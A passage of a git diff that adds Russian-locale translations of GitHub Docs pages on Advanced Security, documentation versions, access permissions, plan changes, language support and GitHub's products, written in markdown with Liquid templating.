fpt or ghec %} These features are also enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}' +product: '{% data reusables.gated-features.ghas %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Security +redirect_from: + - /github/getting-started-with-github/about-github-advanced-security + - /github/getting-started-with-github/learning-about-github/about-github-advanced-security +shortTitle: GitHub Advanced Security +--- +## About {% data variables.product.prodname_GH_advanced_security %} + +{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans{% ifversion not ghae %}, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require a {% data variables.product.prodname_GH_advanced_security %}{% ifversion fpt or ghec %} license to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}{% endif %}. + +{% ifversion ghes or ghec %}For information about buying a license for {% data variables.product.prodname_GH_advanced_security %}, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}There is no charge for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.product.prodname_ghe_managed %} during the beta release.{% elsif fpt %}To purchase a {% data variables.product.prodname_GH_advanced_security %} license, you must be using {% data variables.product.prodname_enterprise %}. For information about upgrading to {% data variables.product.prodname_enterprise %} with {% data variables.product.prodname_GH_advanced_security %}, see "[GitHub's products](/get-started/learning-about-github/githubs-products)" and "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} + +## About {% data variables.product.prodname_advanced_security %} features + +A {% data variables.product.prodname_GH_advanced_security %} license provides the following additional features: + +- **{% data variables.product.prodname_code_scanning_capc %}** - Search for potential security vulnerabilities and coding errors in your code. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)." + +- **{% data variables.product.prodname_secret_scanning_caps %}** - Detect secrets, for example keys and tokens, that have been checked into the repository.{% ifversion secret-scanning-push-protection %} If push protection is enabled, also detects secrets when they are pushed to your repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning)" and "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."{% else %} For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning)."{% endif %} + +- **Dependency review** - Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." + +{% ifversion ghes < 3.7 or ghae %} +<!-- Ref: ghae > 3.6 remove GHAE versioning from this section when the `security-overview-displayed-alerts` flag is toggled for GHAE --> +- **Security overview** - Review the security configuration and alerts for an organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." +{% endif %} + +{% ifversion fpt or ghec %} +The table below summarizes the availability of {% data variables.product.prodname_GH_advanced_security %} features for public and private repositories. + +| | Public repository | Private repository without {% data variables.product.prodname_advanced_security %} | Private repository with {% data variables.product.prodname_advanced_security %} | +| :-----------------: | :---------------------------: | :--------------------------------------------: | :-----------------------------------------: | +| Code scanning | Yes | No | Yes | +| Secret scanning | Yes **(limited functionality only)** | No | Yes | +| Dependency review | Yes | No | Yes | +{% endif %} + +For information about {% data variables.product.prodname_advanced_security %} features that are in development, see "[{% data variables.product.prodname_dotcom %} public roadmap](https://github.com/github/roadmap)." For an overview of all security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." + +{% ifversion fpt or ghec %} +{% data variables.product.prodname_GH_advanced_security %} features are enabled for all public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable these features for private and internal repositories. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/about-github-advanced-security#enabling-advanced-security-features). +{% endif %} + +{% ifversion ghes or ghec or ghae %} +## Deploying GitHub Advanced Security in your enterprise + +To learn about what you need to know to plan your {% data variables.product.prodname_GH_advanced_security %} deployment at a high level and to review the rollout phases we recommended, see "[Adopting {% data variables.product.prodname_GH_advanced_security %} at scale](/code-security/adopting-github-advanced-security-at-scale)." + +{% endif %} + +{% ifversion not fpt %} +## Enabling {% data variables.product.prodname_advanced_security %} features + +{%- ifversion ghes %} +The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.location.product_location %} before you can use these features. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features). + +Once your system is set up, you can enable and disable these features at the organization or repository level. + +{%- elsif ghec %} +For public repositories these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public. + +For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level. + +{%- elsif ghae %} +You can enable and disable these features at the organization or repository level. +{%- endif %} +For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." + +{% ifversion ghec or ghes %} +If you have an enterprise account, license use for the entire enterprise is shown on your enterprise license page. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)." +{% endif %} + +{% endif %} + +{% ifversion fpt or ghec %} +## About starter workflows for {% data variables.product.prodname_advanced_security %} + +{% data reusables.advanced-security.starter-workflows-beta %} +{% data reusables.advanced-security.starter-workflow-overview %} + +For more information on starter workflows, see "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)" and "[Using starter workflows](/actions/using-workflows/using-starter-workflows)." + +{% endif %} + +{% ifversion ghec or ghes or ghae %} +## Further reading + +- "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise account](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)" + +{% endif %} +{% endif %} diff --git a/translations/ru-RU/content/get-started/learning-about-github/about-versions-of-github-docs.md b/translations/ru-RU/content/get-started/learning-about-github/about-versions-of-github-docs.md new file mode 100644 index 000000000000..bd7fa8a6bbaa --- /dev/null +++ b/translations/ru-RU/content/get-started/learning-about-github/about-versions-of-github-docs.md @@ -0,0 +1,65 @@ +--- +title: Сведения о версиях документации GitHub +intro: Вы можете прочитать документацию с описанием продукта {% data variables.product.company_short %}, который вы сейчас используете. +versions: '*' +shortTitle: Docs versions +ms.openlocfilehash: 656cb53b79409329299d63e9f77b14a56b809f6c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146681298" +--- +## Сведения версиях {% data variables.product.prodname_docs %} + +{% data variables.product.company_short %} предлагает различные продукты для размещения кода и совместной работы с кодом. Доступные функции зависят от используемого продукта. Дополнительные сведения см. в разделе [Продукты {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products). + +На веб-сайте {% data variables.product.prodname_docs %} представлена документация для всех продуктов {% data variables.product.company_short %}. Если содержимое, которое вы читаете, применяется к нескольким продуктам, для выбора подходящей документации необходимо выбрать продукт, используемый в настоящее время. + +В верхней части страницы {% data variables.product.prodname_docs %} выберите продукт из раскрывающегося меню. Если окно браузера является недостаточно широким для отображения полной панели навигации, нажмите на значок {% octicon "three-bars" aria-label="The three bars icon" %} + +![Снимок экрана: раскрывающееся меню для выбора просматриваемой версии {% data variables.product.prodname_docs %}](/assets/images/help/docs/version-picker.png) + +{% note %} + +**Примечание.** Попробуйте изменить версию прямо сейчас. Вы просматриваете версию этой статьи для {% ifversion ghes %}{% else %}{% endif %} {% ifversion fpt %}Free, Pro и Team{% else %}{% data variables.product.product_name %}{% endif %}. + +{% endnote %} + +## Определение используемого продукта {% data variables.product.company_short %} + +Вы можете определить используемый продукт {% data variables.product.company_short %}, просмотрев URL-адрес в адресной строке браузера и заголовок веб-сайта {% data variables.product.prodname_dotcom %}, на котором вы находитесь. + +Вы можете использовать более одного продукта {% data variables.product.company_short %}. Например, вы можете вносить свой вклад в открытый код {% data variables.product.prodname_dotcom_the_website %} и совместно работать над кодом в экземпляре {% data variables.product.prodname_ghe_server %} вашего работодателя. В зависимости от проблемы, которую вы пытаетесь решить, может потребоваться просмотреть разные версии одной и той же статьи. + +### Планы {% data variables.product.prodname_dotcom_the_website %} или {% data variables.product.prodname_ghe_cloud %} + +При доступе к {% data variables.product.prodname_dotcom %} на странице https://github.com вы используете функции плана Free, Pro или Team либо используете {% data variables.product.prodname_ghe_cloud %}. + +В широком окне браузера текст за логотипом {% data variables.product.company_short %} в левой части заголовка не отображается. + +![Снимок экрана: адресная строка и заголовок {% data variables.product.prodname_dotcom_the_website %} в браузере](/assets/images/help/docs/header-dotcom.png) + +В {% data variables.product.prodname_dotcom_the_website %} у каждой учетной записи есть собственный план. С каждой личной учетной записью связан собственный план, предоставляющий доступ к определенным функциям, и с каждой организацией также связан другой собственный план. Если ваша личная учетная запись является участником организации на {% data variables.product.prodname_dotcom_the_website %}, то при использовании ресурсов, принадлежащих этой организации, вы можете получить доступ к другим функциям по сравнению с ресурсами, принадлежащими личной учетной записи. Дополнительные сведения см. в разделе [Типы учетных записей {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts). + +Если вы не знаете, использует ли организация {% data variables.product.prodname_ghe_cloud %}, спросите об этом владельца организации. Дополнительные сведения см. в разделе [Просмотр ролей пользователей в организации](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization). + +### {% data variables.product.prodname_ghe_server %} + +При доступе к данным {% data variables.product.prodname_dotcom %} по URL-адресу, отличному от https://github.com, `https://*.githubenterprise.com`, `https://*.github.us` и `https://*.ghe.com`, вы используете {% data variables.product.prodname_ghe_server %}. Например, вы можете получить доступ к {% data variables.product.prodname_ghe_server %} на сайте `https://github.YOUR-COMPANY-NAME.com`. Администраторы могут выбрать URL-адрес, который не содержит слово "{% data variables.product.company_short %}". + +В широком окне браузера после логотипа {% data variables.product.company_short %} в левой части заголовка отображается слово "Enterprise". + +![Снимок экрана: адресная строка и заголовок {% data variables.product.prodname_ghe_server %} в браузере](/assets/images/help/docs/header-ghes.png) + +Вы можете просмотреть используемую версию {% data variables.product.prodname_ghe_server %} в нижнем колонтитуле любой страницы. + +![Снимок экрана: нижний колонтитул {% data variables.product.prodname_ghe_server %} с выделенной версией](/assets/images/help/docs/ghes-version-in-footer.png) + +### {% data variables.product.prodname_ghe_managed %} + +При доступе к данным {% data variables.product.prodname_dotcom %} по URL-адресу `https://*.githubenterprise.com`, `https://*.github.us` или `https://*.ghe.com` вы используете {% data variables.product.prodname_ghe_managed %}. + +В широком окне браузера после логотипа {% data variables.product.company_short %} в заголовке отображаются слова "{% data variables.product.prodname_ghe_managed %}". + +![Адресная строка и заголовок {% data variables.product.prodname_ghe_managed %} в браузере](/assets/images/help/docs/header-ghae.png) diff --git a/translations/ru-RU/content/get-started/learning-about-github/access-permissions-on-github.md b/translations/ru-RU/content/get-started/learning-about-github/access-permissions-on-github.md new file mode 100644 index 000000000000..896716036266 --- /dev/null +++ b/translations/ru-RU/content/get-started/learning-about-github/access-permissions-on-github.md @@ -0,0 +1,56 @@ +--- +title: Access permissions on GitHub +redirect_from: + - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do + - /articles/what-are-the-different-types-of-team-permissions + - /articles/what-are-the-different-access-permissions + - /articles/access-permissions-on-github + - /github/getting-started-with-github/access-permissions-on-github + - /github/getting-started-with-github/learning-about-github/access-permissions-on-github +intro: 'With roles, you can control who has access to your accounts and resources on {% data variables.product.product_name %} and the level of access each person has.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Permissions + - Accounts +shortTitle: Access permissions +--- + +## About access permissions on {% data variables.product.prodname_dotcom %} + +{% data reusables.organizations.about-roles %} + +Roles work differently for different types of accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)." + +## Personal accounts + +A repository owned by a personal account has two permission levels: the *repository owner* and *collaborators*. For more information, see "[Permission levels for a personal account repository](/articles/permission-levels-for-a-user-account-repository)." + +## Organization accounts + +Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manager*,{% endif %} or *member* roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see: +- "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" +- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" +- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" +- "[About teams](/articles/about-teams)" + +## Enterprise accounts + +{% ifversion fpt %} +{% data reusables.gated-features.enterprise-accounts %} + +For more information about permissions for enterprise accounts, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github). +{% else %} +*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account.{% ifversion ghec or ghes %} *Billing managers* can manage your enterprise account's billing settings.{% endif %} Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)." + +{% ifversion ghec %} +If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new personal accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.enterprise.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.enterprise.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." +{% endif %} +{% endif %} + +## Further reading + +- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)" diff --git a/translations/ru-RU/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md b/translations/ru-RU/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md new file mode 100644 index 000000000000..af5ba358c091 --- /dev/null +++ b/translations/ru-RU/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md @@ -0,0 +1,102 @@ +--- +title: Часто задаваемые вопросы об изменениях планов GitHub +intro: '14 апреля 2020 г. GitHub объявила, что все основные функции GitHub теперь бесплатны для всех.' +versions: + fpt: '*' + ghec: '*' +topics: + - GitHub +redirect_from: + - /github/getting-started-with-github/faq-about-changes-to-githubs-plans + - /github/getting-started-with-github/learning-about-github/faq-about-changes-to-githubs-plans +shortTitle: Changes to GitHub plans +ms.openlocfilehash: 9f69f049edb67f9079944189eab0a16f7f10cd91 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147431915' +--- +## О каких изменениях планов и цен было объявлено GitHub 14 апреля? + +В GitHub было объявлено о следующих изменениях планов и цен: + +- GitHub Free для организаций доступен сразу же и включает частные репозитории для неограниченного числа пользователей; +- всем организациям, которые ранее использовали Team for Open Source, предоставлен GitHub Free; +- GitHub Free для отдельных разработчиков теперь включает неограниченное число участников совместной работы; +- организации и частные лица, использующие GitHub Free, получат поддержку GitHub Community Support; +- GitHub Pro теперь будет включать хранилище GitHub Packages размером 2 ГБ, а объем передаваемых данных будет ограничен 10 ГБ; +- стоимость ежемесячного использования GitHub Pro была снижена до 4 долл. США; +- стоимость ежемесячного использования GitHub Team была снижена до 4 долл. США на пользователя; +- на GitHub Team больше не распространяется минимальное ограничение в пять рабочих мест; +- GitHub Team включает 3000 минут действий в месяц для частных репозиториев. + +## Как повысить версию плана? + +Сведения о повышении версии плана личной учетной записи см. в разделе [Повышение версии подписки личной учетной записи](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-personal-accounts-subscription). Сведения о повышении версии плана учетной записи организации см. в разделе [Повышение версии подписки учетной записи организации](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-organizations-subscription). + +## Как понизить версию плана? + +Сведения о понижении версии плана личной учетной записи см. в разделе [Понижение версии подписки личной учетной записи](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription#downgrading-your-personal-accounts-subscription). Сведения о понижении версии плана учетной записи организации см. в разделе [Понижение версии подписки учетной записи организации](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription#downgrading-your-organizations-subscription). + +## Какие возможности будут утеряны при переходе с GitHub Team или устаревшего плана на GitHub Free? +- обязательные рецензенты в частных репозиториях; +- защищенные ветви в частных репозиториях; +- владельцы кода в частных репозиториях; +- GitHub Pages в частных репозиториях; +- вики-сайты в частных репозиториях; +- несколько уполномоченных для проблем и запросов на вытягивание в частных репозиториях; +- несколько рецензентов для запросов на вытягивание в частных репозиториях; +- черновики для запросов на вытягивание в частных репозиториях; +- автоматические ссылки в частных репозиториях. +- Поддержка уровня "Стандартный" + +## Как создать организацию GitHub Free или GitHub Team? + +Если у вас есть учетная запись GitHub, создайте новую организацию на [странице плана команды](https://github.com/organizations/plan). Если у вас нет учетной записи GitHub, ее можно [создать на нашей домашней странице](https://github.com/), и во время регистрации вам будет предложено создать организацию. + +## Как сравнить функции, предоставляемые каждым планом? + +Расценки и полный список функций для каждого продукта можно просмотреть на странице <{% data variables.product.pricing_url %}>. + +## Как долго в GitHub Free будет доступно неограниченное число участников совместной работы? + +Всегда! Это изменение является постоянным. + +## Я уже заплатил за годовой план Pro или Team. Получу ли я компенсацию за разницу в цене? + +Клиенты, которые сейчас оплачивают ежегодные планы Pro и Team и зарегистрировались до 14 апреля, получат возмещение за пропорциональную сумму оплаты до конца ежегодного срока выставления счетов. Например, если вы использовали два месяца подписки, счета за которую выставляются ежегодно, то вы получите возмещение для разницы в цене за оставшиеся десять месяцев. Эти возмещения будут обработаны в течение примерно 30 дней. После обработки возмещения мы отправим уведомление на электронную почту для выставления счетов. + +## В чем разница между GitHub Free для отдельных разработчиков и GitHub Free для организаций? + +Дополнительные сведения о различиях для каждого продукта GitHub Free см. в разделе [Продукты {% data variables.product.prodname_dotcom %}](/articles/github-s-products). + +## Как получить дополнительные минуты GitHub Actions, если мне не хватает минут, имеющихся в плане GitHub Team? + +Большинство небольших команд используют менее 3000 минут GitHub Actions в месяц, но некоторые команды могут использовать большее число минут. Если вашей команде требуются дополнительные минуты для частных репозиториев, можно увеличить предельную сумму расходов для GitHub Actions. Минуты GitHub Actions и хранилище GitHub Packages по-прежнему бесплатны для общедоступных репозиториев. Дополнительные сведения см. в разделе [Управление предельной суммой расходов для GitHub Actions](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). + +## Как на меня повлияют изменения ограничений на число рабочих мест? + +Теперь когда {% data variables.product.prodname_team %} не имеет требований к минимальному числу рабочих мест, вы можете удалить платные рабочие места, чтобы уменьшить сумму оплаты, если вашей организации требуется менее пяти рабочих мест. Дополнительные сведения см. в разделе [Понижение уровня подписки {% data variables.product.prodname_dotcom %}](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription#removing-paid-seats-from-your-organization). + +## Изменяется ли что-то для команд в плане GitHub Team for Open Source? + +Если в вашей учетной записи организации сейчас используется план GitHub Team for Open Source, вы будете автоматически перемещены в план GitHub Free, включающий частные репозитории с неограниченным числом участников совместной работы, 2000 минут GitHub Actions для частных репозиториев и поддержку GitHub Community Support. Минуты GitHub Actions и хранилище GitHub Packages по-прежнему бесплатны для общедоступных репозиториев. + +## Что представляет собой поддержка GitHub Community Support? + +Поддержка GitHub Community Support включает поддержку в [обсуждениях {% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions), где вы можете просматривать решения от сообщества GitHub, задавать новые вопросы и делиться идеями. Поддержка GitHub Community Support предоставляется инженерами службы поддержки в GitHub Team, которые модерируют {% data variables.product.prodname_github_community %} совместно с наиболее активными участниками сообщества. Если вам нужно сообщить о спаме или о нарушениях или если у вас возникли проблемы с доступом к учетной записи, вы можете отправить сообщение в нашу службу поддержки на странице https://support.github.com/. + +## Как это изменение повлияет на преимущества для образовательных учреждений? + +Учащиеся и преподаватели будут продолжать получать все преимущества, которые они получают сегодня. GitHub продолжит предоставлять GitHub Pro в составе преимуществ [Student Developer Pack](https://education.github.com/pack) всем учащимся. Кроме того, преподаватели будут по-прежнему иметь доступ к GitHub Team на [панели элементов Teacher Toolbox](https://education.github.com/toolbox). + +## Как это повлияет на меня, если сейчас я оплачиваю использование по счету? + +Если сейчас вы оплачиваете использование по счету, свяжитесь со своим торговым представителем по электронной почте, чтобы получить дополнительные сведения. Если вы не знаете, кто является вашим торговым представителем, обратитесь к своему менеджеру по выставлению счетов или владельцу учетной записи. + +## Как это повлияет на пользователей и организации в регионах, в которых применяются санкции правительства США? + +Из-за ограничений законодательства о торговом контроле США GitHub не может предоставлять услуги частных репозиториев и платные услуги для учетных записей в регионах, на которые распространяются санкции правительства США. Однако GitHub сохранил доступ к бесплатным общедоступным репозиториям. Дополнительные сведения см. в разделе [GitHub и меры торгового контроля](/free-pro-team@latest/github/site-policy/github-and-trade-controls). + +GitHub будет продолжать взаимодействовать с регулирующими органами США, чтобы обеспечить максимально возможный доступ к бесплатным службам совместной работы с кодом для разработчиков в регионах, находящихся под санкциями, включая бесплатные частные репозитории. Мы считаем, что предоставление этих бесплатных услуг поддерживает внешнюю политику США по поощрению свободного обмена информацией и свободы слова в этих регионах. diff --git a/translations/ru-RU/content/get-started/learning-about-github/github-language-support.md b/translations/ru-RU/content/get-started/learning-about-github/github-language-support.md new file mode 100644 index 000000000000..3687676ffda1 --- /dev/null +++ b/translations/ru-RU/content/get-started/learning-about-github/github-language-support.md @@ -0,0 +1,37 @@ +--- +title: Поддержка языка GitHub +intro: 'Обзор языков программирования, поддерживаемых функциями {% data variables.product.prodname_dotcom %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub +redirect_from: + - /github/getting-started-with-github/github-language-support + - /github/getting-started-with-github/learning-about-github/github-language-support +ms.openlocfilehash: df266f4f5bbc9d22292bd1bde1d0b5e869761b71 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147431907' +--- +<!-- If you make changes to this article, also update any feature-level articles to reflect the same changes in language support. --> + +## Сведения о поддерживаемых языках + +Большинство функций {% data variables.product.prodname_dotcom %} работают независимо от языков, на которых написан код. Вы можете выполнять поиск кода или включить подсветку синтаксиса для любого языка, известного {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделах [Поиск кода](/github/searching-for-information-on-github/searching-code#search-by-language) и [Создание и выделение блоков кода](/github/writing-on-github/creating-and-highlighting-code-blocks#syntax-highlighting). + +Некоторые продукты {% data variables.product.prodname_dotcom %} имеют функции, которые сейчас поддерживаются только для подмножества языков программирования. + +## Основные языки, поддерживаемые функциями {% data variables.product.prodname_dotcom %} + +Основные языки для функций {% data variables.product.prodname_dotcom %} включают C, C++, C#, Go, Java, JavaScript, PHP, Python, Ruby, Scala и TypeScript. Для функций, поддерживающих диспетчеры пакетов, поддерживаемые сейчас диспетчеры пакетов включены в таблицу с соответствующими языками. + +Некоторые функции поддерживаются для дополнительных языков или диспетчеров пакетов. Если вы хотите узнать, поддерживается ли другой язык для функции или запросить поддержку языка, см. [обсуждения {% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions). + +| Язык {% data reusables.supported-languages.products-table-header %} {% data reusables.supported-languages.C %} {% data reusables.supported-languages.Cpp %} {% data reusables.supported-languages.Cs %} {% data reusables.supported-languages.go %} {% data reusables.supported-languages.java %} {% data reusables.supported-languages.javascript %} {% data reusables.supported-languages.php %} {% data reusables.supported-languages.python %} {% data reusables.supported-languages.ruby %} {% data reusables.supported-languages.scala %} {% data reusables.supported-languages.typescript %} + +[1] Эти языки поддерживаются для {% data variables.product.prodname_code_scanning %} с использованием сторонних действий. diff --git a/translations/ru-RU/content/get-started/learning-about-github/githubs-products.md b/translations/ru-RU/content/get-started/learning-about-github/githubs-products.md new file mode 100644 index 000000000000..6951b466f4f5 --- /dev/null +++ b/translations/ru-RU/content/get-started/learning-about-github/githubs-products.md @@ -0,0 +1,126 @@ +--- +title: GitHub’s products +intro: 'An overview of {% data variables.product.prodname_dotcom %}''s products and pricing plans.' +redirect_from: + - /articles/github-s-products + - /articles/githubs-products + - /github/getting-started-with-github/githubs-products + - /github/getting-started-with-github/learning-about-github/githubs-products +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts + - CLI + - Mobile + - Desktop + - Security +--- +## About {% data variables.product.prodname_dotcom %}'s products + +{% data variables.product.prodname_dotcom %} offers free and paid products for storing and collaborating on code. Some products apply only to personal accounts, while other plans apply only to organization and enterprise accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)." + +You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %} + +When you read {% data variables.product.prodname_docs %}, make sure to select the version that reflects your product. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." + +## {% data variables.product.prodname_free_user %} for personal accounts + +With {% data variables.product.prodname_free_team %} for personal accounts, you can work with unlimited collaborators on unlimited public repositories with a full feature set, and on unlimited private repositories with a limited feature set. + +With {% data variables.product.prodname_free_user %}, your personal account includes: +- {% data variables.product.prodname_gcf %} +- {% data variables.product.prodname_dependabot_alerts %} +- Two-factor authentication enforcement +- 2,000 {% data variables.product.prodname_actions %} minutes per month +- 500 MB {% data variables.product.prodname_registry %} storage {% ifversion fpt or ghec%} +- 120 {% data variables.product.prodname_github_codespaces %} core hours per month +- 15 GB {% data variables.product.prodname_github_codespaces %} storage per month {% endif %} + +## {% data variables.product.prodname_pro %} + +In addition to the features available with {% data variables.product.prodname_free_user %} for personal accounts, {% data variables.product.prodname_pro %} includes: +- {% data variables.contact.github_support %} via email +- 3,000 {% data variables.product.prodname_actions %} minutes per month +- 2 GB {% data variables.product.prodname_registry %} storage {% ifversion fpt or ghec%} +- 180 {% data variables.product.prodname_github_codespaces %} core hours per month +- 20 GB {% data variables.product.prodname_github_codespaces %} storage per month {% endif %} +- Advanced tools and insights in private repositories: + - Required pull request reviewers + - Multiple pull request reviewers + - Protected branches + - Code owners + - Auto-linked references + - {% data variables.product.prodname_pages %} + - Wikis + - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks + +## {% data variables.product.prodname_free_team %} for organizations + +With {% data variables.product.prodname_free_team %} for organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. + +In addition to the features available with {% data variables.product.prodname_free_user %} for personal accounts, {% data variables.product.prodname_free_team %} for organizations includes: +- {% data variables.product.prodname_gcf %} +- Team discussions +- Team access controls for managing groups +- 2,000 {% data variables.product.prodname_actions %} minutes per month +- 500 MB {% data variables.product.prodname_registry %} storage + +## {% data variables.product.prodname_team %} + +In addition to the features available with {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %} includes: +- {% data variables.contact.github_support %} via email +- 3,000 {% data variables.product.prodname_actions %} minutes per month +- 2 GB {% data variables.product.prodname_registry %} storage +- Advanced tools and insights in private repositories: + - Required pull request reviewers + - Multiple pull request reviewers + - Draft pull requests + - Team pull request reviewers + - Protected branches + - Code owners + - Scheduled reminders + - {% data variables.product.prodname_pages %} + - Wikis + - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks +{%- ifversion fpt or ghec %} +- The option to enable {% data variables.product.prodname_github_codespaces %} + - Organization owners can enable {% data variables.product.prodname_github_codespaces %} for the organization by setting a spending limit and granting user permissions for members of their organization. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." +{%- endif %} + +{% data variables.product.company_short %} bills for {% data variables.product.prodname_team %} on a per-user basis. For more information, see "[About per-user pricing]({% ifversion not fpt %}/free-pro-team@latest{% endif %}/billing/managing-billing-for-your-github-account/about-per-user-pricing){% ifversion fpt %}."{% else %}" in the Free, Pro, & Team documentation.{% endif %} + +{% data reusables.actions.actions-billing %} + +## {% data variables.product.prodname_enterprise %} + +{% data variables.product.prodname_enterprise %} includes two deployment options: cloud-hosted and self-hosted. + +In addition to the features available with {% data variables.product.prodname_team %}, {% data variables.product.prodname_enterprise %} includes: +- {% data variables.contact.enterprise_support %} +- Additional security, compliance, and deployment controls +- Authentication with SAML single sign-on +- Access provisioning with SAML or SCIM +- {% data variables.product.prodname_github_connect %} +- The option to purchase {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)." + +{% data variables.product.prodname_ghe_cloud %} also includes: +- {% data variables.contact.enterprise_support %}. For more information, see "<a 